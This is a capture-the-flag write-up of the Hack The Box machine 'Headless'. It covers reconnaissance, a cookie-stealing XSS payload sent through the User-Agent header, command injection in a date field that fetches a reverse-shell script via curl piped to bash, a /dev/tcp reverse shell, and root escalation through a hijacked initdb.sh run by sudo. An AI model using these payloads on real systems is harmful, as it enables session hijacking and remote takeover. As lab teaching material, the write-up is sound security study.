iconBjarne Verschorre

  1. Blog
  2. Write-ups
  3. Private
../headless.md
Room Banner
🔗 https://app.hackthebox.com/machines/headless

Reconnaissance

Nmap

A simple nmap shows that this box has SSH and a python webserver running on port 5000.

PORT     STATE SERVICE VERSION                                                    
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)              
5000/tcp open  upnp?                                                              
| fingerprint-strings:                                                            
|   GetRequest:                                                                   
|     HTTP/1.1 200 OK                                                             
|     Server: Werkzeug/2.2.2 Python/3.11.2
<SNIP>

Directory enumeration

Enumeration showed /support and /dashboard. /dashboard gives me a ‘Forbidden’ message, but /support shows a simple page with a contact form.

Website

Visiting the website on port 5000 shows a simple page telling us that the site is under construction. There’s a link to /support for questions.

Support
Support

Filling in some random information shows us a warning with our information. This is a good place to test for XSS.

XSS
XSS

I spin up a simple python webserver and try to inject some javascript through my User-Agent.

$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...

I love using an image tag to exfiltrate cookies. I’ll use the following payload:

<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>

And we got a hit, it’s a base64 encoded cookie.

10.10.11.8 - - [04/Jun/2024 16:19:31] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
10.10.11.8 - - [04/Jun/2024 16:19:33] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

Administrator Dashboard

After updating our cookie we can head over to /dashboard and see a new page.

Dashboard
Dashboard

Pressing Generate Report just gives us “Systems are up and running!”. Inspecting the request through Burp Suite shows us that the request is a POST request with the selected data as body date=2023-09-10.

Exploitation

Command Injection

We’re actually able to inject a command through the date field.

Command Injection
Command Injection

On my machine I’ve created a reverse shell script and hosted it on my python webserver. The plan is to curl it and pipe it to bash. I’m using the following payload:

$ cat rev.sh 
sh -i >& /dev/tcp/10.10.15.44/9002 0>&1
curl+10.10.15.44%3a9001/rev.sh+|+bash

I’ve also setup a listener on my machine.

$ python3 -m pwncat -lp 9002
[15:36:51] Welcome to pwncat 🐈!
[15:39:31] received connection from 10.10.11.8:38054
[15:39:31] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash
[15:39:32] 10.10.11.8:38054: registered new host w/ db
(local) pwncat$ _

Shell as dvir

And we’ve got the user. Let’s see which commands we can run with sudo.

(remote) dvir@headless:/home/dvir/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

We can run /usr/bin/syscheck as sudo without a password. Let’s see what it does.

(remote) dvir@headless:/home/dvir/app$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Everything looks good, except for the initdb.sh script. I’m guessing if we create a malicious initdb.sh script we can get a shell as root.

Shell as root

I’m gonna setup a listener on my machine and create a reverse shell script.

(local) pwncat$ listen 9003 --platform linux
[15:53:53] new listener created for 0.0.0.0:9003

I’m just gonna reuse the reverse shell script from earlier and run /usr.bin/syscheck as sudo.

(remote) dvir@headless:/dev/shm$ nano initdb.sh 
(remote) dvir@headless:/dev/shm$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.17, 0.23, 0.16

Database service is not running. Starting it...
[16:00:47] 10.10.11.8:45500: upgrading from /usr/bin/dash to /usr/bin/bash
           10.10.11.8:45500: loaded known host from db

[16:00:48] listener: 0.0.0.0:9002: linux session from 10.10.11.8:45500 established

(local) pwncat$ sessions
                                    Active Sessions                                    
     ╷      ╷                                  ╷          ╷        ╷                   
  ID │ User │ Host ID                          │ Platform │ Type   │ Address           
 ════╪══════╪══════════════════════════════════╪══════════╪════════╪══════════════════ 
  0  │ dvir │ ced833bbcb33285a324c4657b1eb9fc8 │ linux    │ Bind   │ 10.10.11.8:40428  
  *1 │ root │ ced833bbcb33285a324c4657b1eb9fc8 │ linux    │ Socket │ 10.10.11.8:45500  
     ╵      ╵                                  ╵          ╵        ╵                   
(local) pwncat$ 

Pwncat picked up the connection and we’re root.

← Board Light Perfection →